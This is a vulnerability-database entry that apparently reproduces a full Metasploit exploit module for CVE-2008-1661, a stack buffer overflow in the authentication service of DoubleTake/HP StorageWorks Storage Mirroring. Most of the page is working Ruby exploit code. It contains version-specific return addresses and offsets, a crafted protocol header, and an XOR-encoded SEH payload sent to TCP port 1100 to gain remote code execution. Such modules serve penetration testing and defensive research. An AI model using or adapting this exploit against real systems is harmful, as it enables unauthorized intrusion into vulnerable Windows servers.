DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

DoubleTake/HP StorageWorks Stack Buffer Overflo


                                                ##
# $Id: doubletake.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in the authentication mechanism of
					NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
					was found by Titon of Bastard Labs.
			},
			&#39;Author&#39;         =&#62; [ &#39;ri0t &#60;ri0t[at]ri0tnet.net&#62;&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9669 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2008-1661&#39; ],
					[&#39;OSVDB&#39;, &#39;45924&#39; ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 500,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,

			&#39;Targets&#39;        =&#62;
				[
					[&#39;doubletake 4.5.0&#39;,      { &#39;Ret&#39; =&#62; 0x006f5fa7, &#39;Offset&#39; =&#62; 5544 } ],
					[&#39;doubletake 4.4.2&#39;,      { &#39;Ret&#39; =&#62; 0x0074e307, &#39;Offset&#39; =&#62; 944  } ],
					[&#39;doubletake 4.5.0.1819&#39;, { &#39;Ret&#39; =&#62; 0x006e62dd, &#39;Offset&#39; =&#62; 5544 } ],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 04 2008&#39;
			))

		register_options(
			[
				Opt::RPORT(1100)
			], self.class)
	end

	def exploit

		connect

		print_status(&#34;Trying target #{target.name}...&#34;)

		header =
			&#34;\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
			&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00&#34;+
			&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01&#34;+
			&#34;\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01&#34;

		xor = Rex::Encoding::Xor::Byte
		filler =  rand_text_english(1) * (target[&#39;Offset&#39;])
		seh = generate_seh_payload(target.ret)
		buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack(&#34;C&#34;))
		sploit =  header + filler + buffercoded[0]
		sock.put(sploit)

		handler
		disconnect
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1